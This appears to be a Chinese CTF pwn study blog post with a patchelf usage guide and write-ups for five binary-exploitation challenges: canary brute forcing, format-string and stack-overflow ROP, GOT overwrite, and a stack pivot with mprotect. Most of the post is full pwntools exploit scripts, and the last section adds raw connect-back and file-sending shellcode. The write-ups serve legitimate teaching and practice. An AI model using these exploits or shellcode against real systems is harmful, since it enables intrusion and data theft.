day2

发布时间 2023-10-28 21:45:19作者: Tac1turn

前置知识:

动态链接库

我们可以使用ldd对程序进行观察,ldd命令用于打印程序或者库文件所依赖的共享库列表。Glibc安装的库中有一个为ld-linux.so.X,其中X为一个数字,在不同的平台上名字也会不同。

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa573a00000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa573d73000)
  • libc.so.6 是 C 库(LibC)的动态链接库文件,它提供了许多标准的 C 语言函数和运行时支持。这是一个常见的库文件,用于提供操作系统级的功能和服务。
  • /lib64/ld-linux-x86-64.so.2 是 Linux x86_64 架构的动态链接器(Dynamic Linker),它负责在程序运行时加载和链接程序所依赖的库文件,并将它们与可执行文件进行动态链接。动态链接器还负责解析符号依赖关系、地址重定位等任务,以实现库的动态加载和链接。

如果遇到需要更改elf可执行文件的动态链接库那么我们可以使用patchelf进行修改

patchelf食用指北

我们看一下GitHub patchelf的使用指南

PatchELF 是一个简单的实用程序,用于修改现有的 ELF 可执行文件和库。具体来说,它可以执行以下操作:

更改可执行文件的动态加载器(“ELF 解释器”):
$ patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program

更改RPATH可执行文件和库的:
$ patchelf --set-rpath /opt/my-libs/lib:/other-libs my-program

缩小RPATH可执行文件和库的大小:
$ patchelf --shrink-rpath my-program

这将从RPATH所有不包含DT_NEEDED可执行文件或库的字段引用的库的目录中删除。例如,如果一个可执行文件引用一个库libfoo.so,有一个 RPATH /lib:/usr/lib:/foo/lib,并且libfoo.so只能在 中找到/foo/lib,那么新的RPATH将是/foo/lib。

此外,该--allowed-rpath-prefixes选项还可用于进一步的 rpath 调整。例如,如果可执行文件具有RPATH /tmp/build-foo/.libs:/foo/lib,则可能需要保留/foo/lib引用而不是/tmp条目。为此,请使用:
$ patchelf --shrink-rpath --allowed-rpath-prefixes /usr/lib:/foo/lib my-program

删除对动态库(DT_NEEDED 条目)声明的依赖项:
$ patchelf --remove-needed libfoo.so.1 my-program
该选项可以多次给出。

添加对动态库的声明依赖项 ( DT_NEEDED):
$ patchelf --add-needed libfoo.so.1 my-program
该选项可以多次给出。

将声明的动态库依赖项替换为另一个依赖项 ( DT_NEEDED):
$ patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program
该选项可以多次给出。

SONAME动态库的改变:
$ patchelf --set-soname libnewname.so.3.4.5 path/to/libmylibrary.so.1.2.3

使用案例1

1.程序ldd后是下面这种情况

image-20230820160232589

直接使用patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program修改无法修改,我们需要使用patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program进行修改具体操作如下

image-20230820160557954

image-20230820160611460

使用案例2

2.下面这种checksec后runpath是红的,并且动态链接器不对

image-20230820163411018

image-20230820163430547

直接使用patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program进行修改

image-20230820163352024

funcanary

总结

参考文章:

Canary学习(爆破Canary)_funcanary_西杭的博客-CSDN博客

CISCN2023初赛]-爆破canary+pie_C4ndy的博客-CSDN博客

一道爆破canary的题目

程序分析

checksec

[*] '/home/yang/桌面/day2/funcanary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/hack/libc/2.34-0ubuntu3_amd64/'

函数分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}

可以看的程序中有fork函数可以不断创建子进程,这可以让我们能够不断尝试canary

unsigned __int64 sub_128A()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

漏洞点

  • fork函数不断创建新的子线程,所以我们可以进行爆破操作

知识点

  • pie保护开启后,后三位不变
  • 栈通常是小端序,因此十六机制的后三位在栈上是前三位

利用思路

通过每次覆盖一字节来爆破canary,程序有后门函数,又因为pie保护开启后,后三位不变,所以我们可以覆盖前两字节爆破其中一位,最终得到flag

EXP


from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './funcanary'

io = remote("100.126.38.43",61078)
io = process(proname)
io = gdb.debug(proname,"break main")
elf = ELF(proname)
io.recvuntil('welcome\n')

canary = b'\x00'
for k in range(7):
    for i in range(256):
        print ("正在爆破Canary的第" + str(k+1)+"位")
        print ("当前的字符为"+ chr(i))
        payload=b'a'*104 + canary+  i.to_bytes(1,'little')
        print ("当前payload为:",payload)
        io.send(b'a'*104 + canary + i.to_bytes(1,'little'))
        data = io.recvuntil("welcome\n")
        print (data)
        if b"have" in data:
            canary +=  i.to_bytes(1,'little')
            break

backdoor = 0x1229
for m in range(16):
    tmp = m * 16 + 2
    payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp)
    io.send(payload)
    a = io.recvline()
    print(a)
    if b'flag' in a:
        print (aaa)
        io.interactive()
    print('m = ' + str(m))
    print(b'\x29' + str(tmp).encode())
io.interactive()    

widget

总结

一个很简单但很离谱的栈溢出,我竟然在payload后门添加了200个ret指令抬高栈地址。这题主要是gdb调试要懂得until命令(不然光调试程序就要老命了),其次是仔细观察报错时汇编代码是否有地址读写权限不足的问题。最后就是要明白每次返回后门地址时要牢记我们需要的是system函数,如果可以的话直接返回到system函数部分,这题就是因为忘记这点做复杂了。

程序分析

checksec

[*] '/home/yang/桌面/day2/widget'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fb000)

程序没有开启canary和PIE,做题会方便许多

main函数分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-24h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  __gid_t rgid; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  if ( called )
    exit(1);
  called = 1;
  printf("Amount: ");
  v4 = 0;
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 < 0 )
    exit(1);
  printf("Contents: ");
  read(0, buf, v4);
  for ( i = 0; (int)i < v4; ++i )
  {
    if ( buf[i] == 'n' )
    {
      printf("bad %d\n", i);
      exit(1);
    }
  }
  printf("Your input: ");
  return printf(buf);
}

main函数有一个很明显的格式化字符串漏洞和栈溢出,并且格式化字符串限制了%n,即无法进行任意地址写的操作,因此我们需要进行栈溢出攻击

  rgid = getegid();
  setresgid(rgid, rgid, rgid);

这段代码用于获取当前进程的有效组ID(egid),然后使用 setresgid 函数将实际组ID(real gid)、有效组ID(effective gid)和保存的组ID(saved gid)都设置为获取到的 egid。

具体解释如下:

  • rgid = getegid();getegid 函数用于获取当前进程的有效组ID(egid),并将其赋值给变量 rgid
  • setresgid(rgid, rgid, rgid);setresgid 函数用于设置实际组ID、有效组ID和保存的组ID。在这个代码片段中,将这三个组ID都设置为 rgid,即当前进程的有效组ID。

通过这段代码,进程的组ID被设置为相同的值,确保了在后续的执行中,进程的组ID保持一致。这可能是为了满足特定的安全要求或权限管理的需要。

win函数分析

int __fastcall win(const char *a1, const char *a2)
{
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  FILE *stream; // [rsp+98h] [rbp-8h]

  if ( strncmp(a1, "14571414c5d9fe9ed0698ef21065d8a6", 0x20uLL) )
    exit(1);
  if ( strncmp(a2, "willy_wonka_widget_factory", 0x1AuLL) )
    exit(1);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Error: missing flag.txt.");
    exit(1);
  }
  fgets(s, 128, stream);
  return puts(s);
}

程序中还有个win函数,可以看到需要对函数两个参数进行比对最后cat flag。这里可以简单的做就是直接通过返回到stream = fopen("flag.txt", "r");的位置来攻击

漏洞点

  • 输入内容大小没有限制,可以对buf进行栈溢出
  • printf函数可以泄露任意地址,即可以泄露libc,然后rop
  • win函数中有return puts(s);可以直接泄露flag

知识点

  • gdb调试时遇到 jl main+241可以直接until,结束循环
  • libc文件中含有pop,ret等指令,可以直接用ROPgadget查看也可以通过更简便的方法 next(libc.search(asm('pop rdi;ret')))进行查看
  • elf文件是一个类,可以直接通过elf.plt.system,以及libc.address来存入libc的base地址这样便可以直接使用libc.sym.system来获取system函数地址

利用思路

  • EXP1
    • 先通过%p泄露libc基地址,再重新返回main函数,因为返回main之后还会对rbp操作因此将rbp覆盖为栈上的值
    • 再通过libc找到rop的地址,这里因为是在本地调试所以直接就用本地的libc,正常做题的时候需要用glibc_all_in_one来下载对应的libc
    • 最后再进行一次栈溢出,由于程序将rbp不断减去一个数,所以我们不断抬高栈地址,最终程序打通
  • EXP2
    • 直接使用栈溢出到win函数的关键代码处即可

EXP1

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './widget'

io = process(proname)
#io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

main = 0x00000000004013D9
#泄露libc_main函数地址,再重新返回到main函数
io.recv()
p = b'%33$p.cc'+b'b'*24+p64(0x0000000000404100)+p64(main)
io.sendline(str(len(p)))
io.recv()
io.sendline(p)
io.recvuntil("Your input: ")
#泄露libc地址,以及rop链地址
libc_base = int(io.recvuntil(".",drop=True),16)-libc.symbols['__libc_start_main']-137
libc.address = libc_base
system  = libc.sym.system
binsh =next(libc.search(b'/bin/sh\x00'))
pop_rdi = next(libc.search(asm('pop rdi;ret')))
ret = 0x00000000000233d1

p2 = b'a'*32+p64(0x404778)
for i in range(200):
	p2+= p64(libc.address+ret)
p2+=p64(libc.address+ret)+p64(pop_rdi)+p64(binsh)+p64(system)

io.sendlineafter(':', str(len(p2)))
io.sendlineafter(':', p2)
io.interactive()

EXP2

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './widget'

#io = process(proname)
io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

io.recv()
p = b'b'*32+p64(0x0000000000404100)+p64(0x000000000040130B)
io.sendline(str(len(p)))
io.recv()
io.sendline(p)
io.interactive()

pwn2

总结

经过头脑风暴后,最终还是没有想出该怎么写,最终还是在询问了师父之后才明白了如何攻击

程序分析

checksec

[*] '/home/yang/桌面/day2/pwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序没有开启pie,因此程序got,plt表都可以使用

main函数分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const void *v3; // rsi
  int v4; // eax
  int cnt; // [rsp+10h] [rbp-20h]
  int choice; // [rsp+14h] [rbp-1Ch]
  __int64 *addr_0; // [rsp+20h] [rbp-10h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("welcome to pwn2");
  cnt = 0;
  while ( 1 )
  {
    choice = get_choice();
    if ( choice == 3 )
      break;
    v4 = cnt++;
    if ( v4 > 4 )
      break;
    if ( choice == 1 )
    {
      printf("input addr : ");
      v3 = get_ll();
      write(1, v3, 8uLL);
    }
    else if ( choice == 2 )
    {
      printf("input addr : ");
      addr_0 = get_ll();
      printf("input value : ");
      *addr_0 = get_ll();
    }
    else
    {
      puts("invalid choice");
    }
  }
  puts("bye bye");
  return 0;
}

程序提供了两个选项分别是,任意地址写入内容,任意地址读。但是程序并不存在栈溢出,所以我们需要考虑一下别的利用方式。

我们最理想的情况就是输入栈上ret的地址,修改为恶意函数地址,但是没有途径可以泄露栈上的地址,唯一可用的就是got表(因为程序即使没有开启pie,也有aslr地址随机化),所以接下来的利用朝这个方向挖掘

get_ll函数分析

__int64 __cdecl get_ll()
{
  char buf[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  *buf = 0LL;
  *&buf[8] = 0LL;
  *&buf[16] = 0LL;
  *&buf[24] = 0LL;
  read(0, buf, 0x1FuLL);
  return atoll(buf);
}

程序读入一段数据并且调用了atoll函数处理这段数据

漏洞点

  • 程序本身的任意地址读写
  • 没有开启pie,got表可用

知识点

利用思路

  • 首先使用任意地址读,输入got表地址,泄露libc基地址,找到system函数地址
  • 再使用任意地址写,输入atoll,got表地址,将其修改为system函数,然后输入/bin/sh即可执行system("/bin/sh")

EXP

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './pwn2'

io = process(proname)
#io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def read_addr(addr):
	io.sendlineafter("choice:",b'1')
	io.sendafter("input addr : ",str(addr))

def write_addr(addr,value):
	io.sendlineafter("choice:",b'2')
	io.sendlineafter("input addr : ",str(addr))
	io.sendlineafter("value : ",str(value))

read_addr(elf.got['setbuf'])

a = io.recvuntil(b'1.',drop= 'true')
a = u64(a.ljust(8,b'\x00'))

libc.address = a-libc.symbols['setbuf']
system = libc.symbols.system
print (hex(libc.symbols.system))

write_addr(elf.got['atoll'], libc.symbols.system)

read_addr("/bin/sh")

io.interactive()

fmt

总结

第一次接触格式化字符串任意地址写漏洞,说来惭愧,之前工作室师傅就让我学这个,然后我给鸽了。这次做完对任意地址写以及栈上的存储单位有了一个新的认识

参考文章;

[printf 成链攻击 (eonew.cn)](http://blog.eonew.cn/2019-08-27.printf 成链攻击.html)

格式化字符串大杂烩-安全客 - 安全资讯平台 (anquanke.com)

程序分析

checksec

[*] '/home/yang/桌面/day2/fmt/pwn.pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

防御全开,PIE开了说明不能直接使用ida中的地址了,需要泄露栈地址计算偏移量

main函数分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s2; // [rsp+8h] [rbp-78h] BYREF
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Do you know who the best pwner is?");
  base64_decode(encoded_string, &s2);
  read(0, buf, 0x3CuLL);
  if ( !strcmp(buf, s2) )
    vuln();
  else
    printf("I think your idea is wrong");
  free(s2);
  return 0;
}

程序首先对一段字符串进行了base64解密,再与我们输入的字符串进行比对,如果相同进入vuln函数vuln函数中返回到了fmtstr函数

fmtstr函数分析

__int64 fmtstr()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 12; ++i )
  {
    puts("What do you want to say?");
    read(0, buf, 0x40uLL);
    printf(buf);
  }
  return 0LL;
}

明显的格式化字符串漏洞,能够循环12次

漏洞点

  • fmtstr函数中有格式化字符串漏洞意味着我们可以任意地址读写,因此我们能够得到libc基地址,pie基地址,以及栈上ret的地址
  • 既然可以任意地址写,那我们需要找到一个二级指针从而达到修改任意地址的目的
  • 循环变量i存储在栈上意味着我们可以直接对i进行修改

知识点

  • 0x7fffffffdf00 —▸ 0x7fffffffe048 —▸ 0x7fffffffe363使用%n修改的是目标地址指向的地址的内容,即 0x7fffffffe363
  • 0x7fffffffdf00 —▸ 0x7fffffffe048 —▸ 0x7fffffffe363使用%p打印的是目标地址里的内容即 0x7fffffffe048
  • 每次在步进printf的第一步使用gdb fmtarg找偏移量
  • 修改16进制数后三位的方法
pop = int(io.recvuntil(".",drop=True),16)
prefix = pop & 0xFFFFFFFFFFFFF800
pop = prefix | (0x6c3 & 0x7FF)  
  • attack_addr = attack_addr >> 8意思是把地址右移8位,二进制右移8位,十六进制右移两位,&0xFF,取两位

利用思路

首先使用gdb调试找到一个二级指针

image-20230822114708741

使用%p泄露libc,pie,以及stackret地址

之后再通过函数对栈上的地址不断修改

  1. 首先找到栈上i变量存储的地址
  2. 然后再创建一个函数,每次使用二级指针修改ret地址同时修改i变量,从而达到不断攻击

image-20230822124137855

每次将rbp+0x4的位置置为0

EXP

from pwn import *
#from LibcSearcher import *
io = process("./pwn.pwn")
#io=  gdb.debug("./pwn.pwn","break fmtstr")
context(arch="amd64",os="linux")
context.log_level = "debug"

elf = ELF("./pwn.pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sd    = lambda data        :io.send(data) 
sa    = lambda delim,data     :io.sendafter(delim, data)
sl    = lambda data        :io.sendline(data)
sla   = lambda delim,data     :io.sendlineafter(delim, data)
sda   = lambda delim,data     :io.sendafter(delim, data)
rcn   = lambda numb=4096      :io.recv(numb, timeout = 3)
rl    = lambda           :io.recvline()
ru    = lambda delims       :io.recvuntil(delims)
uu32   = lambda data        :u32(data.ljust(4, b'\x00'))
uu64   = lambda data        :u64(data.ljust(8, b'\x00'))
li    = lambda tag, addr      :log.info(tag + ': {:#x}'.format(addr))
ls    = lambda tag, addr      :log.success(tag + ': {:#x}'.format(addr))
lsh   = lambda tag, addr      :LibcSearcher(tag, addr)
interactive = lambda         :io.interactive()
printf  = lambda index        :success(hex(index))
getadd  = lambda           :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

def vuln(attack_addr,changed_addr,i_addr):
	for i in range(6):
		p1 = b'%' + str(changed_addr +i& 0xFFFF).encode() + b'c%30$hn'
		p1.ljust(0x40,b"\x00")
		sla(b"What do you want to say?\n",p1)
		p2 = b'%' + str(attack_addr & 0xFF).encode() + b'c%60$hhn'
		p2.ljust(0x40,b"\x00")
		sla(b"What do you want to say?\n",p2)
		p3 = b'%' + str(i_addr&0xFFFF).encode() + b'c%30$hn'
		p3.ljust(0x40,b"\x00")
		sla(b"What do you want to say?\n",p3)
		p4 = b'%60$n'
		p4.ljust(0x40,b"\x00")
		sla(b"What do you want to say?\n",p4)
		attack_addr = attack_addr >> 8


sleep(5)
sa(b"Do you know who the best pwner is?\n",b'TokameinE_is_the_best_pwner'+b'\x00'*5)
sda(b"What do you want to say?\n",b'%37$p.%49$p.%11$p.')
#得到栈上ret和i的地址
stack1 = int(io.recvuntil(".",drop=True),16)-448
i_addr = stack1-0xc
#得到libc的基地址
libc_base = int(io.recvuntil(".",drop=True),16)-137-libc.symbols['__libc_start_main']
#得到system,binsh的地址
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh"))
#泄露PIE基地址,得到pop_rdi和ret的地址
pop = int(io.recvuntil(".",drop=True),16)
prefix = pop & 0xFFFFFFFFFFFFF800
pop = prefix | (0x6c3 & 0x7FF)  
ret = prefix | (0x01a & 0x7FF)  

success("stack1:"+hex(stack1))
success("pop:"+hex(pop))
success("binsh:"+hex(binsh))
success("system:"+hex(system))

#攻击
vuln(ret,stack1,i_addr)
vuln(pop,stack1+0x8,i_addr)
vuln(system,stack1+0x18,i_addr)
vuln(binsh,stack1+0x10,i_addr)
pause()
for i in range(12):
	sla(b"What do you want to say?\n",p64(0xdeadbeef))

io.interactive()

login

总结

参考:

某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP_cccsl_的博客-CSDN博客

easyrop_2022pwnhub春季赛

程序分析

checksec

[*] '/home/yang/桌面/day2/login'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ef000)

程序没有开启canary和pie

main函数分析

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts(&s);
  read(0, buf, 0x110uLL);
  close(1);
  close(2);
  return 0LL;
}

通过反编译可以看到,程序能够读取0x110字节的内容,只能溢出16字节,也就是说需要进行栈迁移,但是用单纯的栈迁移无法起作用,可以使用栈迁移加强版

init函数(csu)

.text:0000000000401270 loc_401270:                             ; CODE XREF: init+54↓j
.text:0000000000401270                 mov     rdx, r14
.text:0000000000401273                 mov     rsi, r13
.text:0000000000401276                 mov     edi, r12d
.text:0000000000401279                 call    qword ptr [r15+rbx*8]
.text:000000000040127D                 add     rbx, 1
.text:0000000000401281                 cmp     rbp, rbx
.text:0000000000401284                 jnz     short loc_401270
.text:0000000000401286
.text:0000000000401286 loc_401286:                             ; CODE XREF: init+35↑j
.text:0000000000401286                 add     rsp, 8
.text:000000000040128A                 pop     rbx
.text:000000000040128B                 pop     rbp
.text:000000000040128C                 pop     r12
.text:000000000040128E                 pop     r13
.text:0000000000401290                 pop     r14
.text:0000000000401292                 pop     r15
.text:0000000000401294                 retn

漏洞点

  • 栈迁移获得空间植入恶意代码
  • 通过csu的gadget编写shellcode
  • 使用magic gadget 将close改为mprotect函数,然后将某段区域改为可读可写可执行,之后再写入shellcode最后执行

知识点

  • 每次ret的时候会pop rsp

  • call qword ptr [r15 + rbx*8] 执行的是r15指向的地址的内容

  • magic_gadget

    • add DWORD PTR [rbp-0x3d], ebx
    • ROPgadget --binary a --opcode 015dc3
  • mprotect指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

利用思路

  • 栈迁移(加强)

    • 在栈帧结束的时候会执行leave ret ,其中leave底层是
    mov rsp,rbp
    pop rbp //还原函数栈
    
    1. 第一次执行main函数,我们可以在rbp的位置放入可执行的bss段的地址,ret地址放入main函数中read函数地址,pop rbp后rbp就变为bss段地址0x404500

    2. 第二次执行main函数

      • 因为read读入的起始地址参数是rbp-var4,这时我们可以将恶意代码填入栈中,因此我们恶意代码顶部地址是0x404400,底部代码地址是0x404500

      • 这时rbp是0x404500,进行溢出操作时,将rbp设为rbp-0x110,也就是将rbp设为0x4043f0来为下次溢出做准备,(之所以设为0x4043f0,是因为我们在执行leave操作时会将rsp+8,ret指令也会将rsp+8,所以我们要将rbp的值设为bss_start-0x10,这样才能做到顶部地址是0x404400,底部代码地址是0x404500),这次执行leave ret后,rsp是0x404500,,rbp是0x4043f0,显然这次还是没有将栈迁移完成,因此我们ret到main函数再进行一次栈溢出

    3. 第三次执行main函数,如果我们想要执行恶意代码,这次输入的内容为垃圾数据,将rbp设为栈底也就是bss_end的地方,之后返回到csu1的位置,再将恶意代码中的参数pop出来,到此栈就完成栈迁移的操作了

  • 编写shellcode,在第二次构造payload时,顺便将rop链+shellcode写入进去

    1. 首先是将close的got表地址改为mprotect,这里我们使用csu1,之后返回到magic

    2. 然后使用mprotect(call close_got)将想要的区域设为可执行,这里要注意,mprotect指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

    3. 之后再使用read函数将shellcode读取到目标区域,之后返回到目标区域执行shellcode

      这里shellcode因为程序正常的输出流被关闭了,所以我们要使用socket+connect+open+sendfile来读取flag

EXP

没打通。。很奇怪,为啥我open了一个文件然后sendfile,connect成功了,但是没有成功sendfile

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './login'

#io = remote("100.126.38.43",61078)
io = process(proname)
#io = gdb.debug(proname,"break read")
elf = ELF(proname)

#设置相关变量
bss_start = 0x404400
bss_end = 0x404500
main = 0x00000000004011ED
close = elf.got.close
read = elf.got.read

magic = 0x000000000040117c#add    DWORD PTR [rbp-0x3d], ebx

#rbx,rbp(close_addr),edi,rsi,rdx,r15(call)
csu1 = 0x000000000040128A
csu2 = 0x0000000000401270
offset = 0x9a20

asm_code = """
.global _start
_start:
.intel_syntax noprefix
	mov rax, 59
	lea rdi, [rip+binsh]
	mov rsi, 0
	mov rdx, 0
	syscall
binsh:
	.string "/bin/sh"
"""

socket = b'\x6A\x02\x5F\x6A\x01\x5E\x6A\x00\x5A\x6A\x29\x58\x0F\x05'
connect = b'\x6A\x00\x5F\x48\xB9\x02\x00\x03\xE8\x7F\x00\x00\x01\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05'
orw = b'\x68\x66\x6C\x61\x67\x48\x89\xE7\x6A\x00\x5E\x6A\x02\x58\x0F\x05\x6A\x01\x5F\x48\xC7\xC6\x00\x15\x60\x00\x6A\x50\x5A\x6A\x00\x58\x0F\x05\x6A\x00\x5F\x48\xC7\xC6\x00\x15\x60\x00\x6A\x50\x5A\x6A\x01\x58\x0F\x05'

#reverse_shell = b"\x6a\x29\x58\x6a\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x97\xb0\x2a\x48\xb9\x02\x00"+ \remote_port.to_bytes(2, "big")+socket.inet_aton(remote_ip) + b"\x51\x54\x5e\xb2\x10\x0f\x05"
start = b'\x6A\x29\x58\x6A\x06\x5A\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x97\xB0\x2A\x48\xB9\x02\x00\x27\x11\x7F\x00\x00\x01\x51\x54\x5E\xB2\x10\x0F\x05'

result = b'\xe8\x05\x00\x00\x00flag\x00_H\x89\xd0H1\xd21\xf6\xb0\x02\x0f\x05H\xc7\xc0(\x00\x00\x00H1\xffH\xc7\xc6\x01\x00\x00\x00H1\xd2I\xc7\xc20\x00\x00\x00\x0f\x05'

result2 = b"\xE8\x07\x00\x00\x00\x7E\x2F\x66\x6C\x61\x67\x00\x5F\x48\x89\xD0\x48\x31\xD2\x31\xF6\xB0\x02\x0F\x05\x48\xC7\xC0\x28\x00\x00\x00\x48\x31\xFF\x48\xC7\xC6\x01\x00\x00\x00\x48\x31\xD2\x49\xC7\xC2\x30\x00\x00\x00\x0F\x05"

send_flag = b"\x92\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00\x53\x54\x5f\x31\xf6\xb0\x02\x0f\x05\x96\x87\xfa\x68\x00\x13\x60\x00\x5a\x6a\x30\x41\x5a\x31\xc0\xb0\x28\x0f\x05"


pause()

#构造payload1
p1 = b'a'*0x100+p64(bss_end)+p64(main)
#第一次溢出,将改变rsp
io.sendafter(b'\x90\x90\n',p1) 

sleep(0.2)

#构造payload2
#p2 = flat([csu1,offset,close+0x3d,b'a'*24,magic,csu1,b'a'*16,bss_start,0x10000,7,mprotect,csu2])
p2 = p64(offset)+p64(close+0x3d)+b'a'*24+p64(bss_start-offset*8+0xf0)+p64(magic)#将close改为mprotect
p2 +=p64(csu1)+p64(0)+p64(1)+p64(0x404000)+p64(0x1000)+p64(7)+p64(close)+p64(csu2)#调用mprotect
p2 +=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x404090)+p64(0x58)+p64(read)+p64(csu2)
p2 = p2.ljust(0xf0,b'a')
p2 +=p64(0x404090)+b'a'*8
print (len(p2))
p2 += p64(bss_start-0x10)
p2 += p64(main)

#进行第二次栈溢出,将rsp复制给rbp,再重新改变rsp,并且同时构造rop链,栈已迁移
io.send(p2) 

sleep(0.2)

#第三次栈溢出
p3 = b'a'*0x100+p64(bss_end)+p64(csu1)
io.send(p3)

sleep(0.2)

#将shellcode输入进去
io.send(start+send_flag)

io.interactive()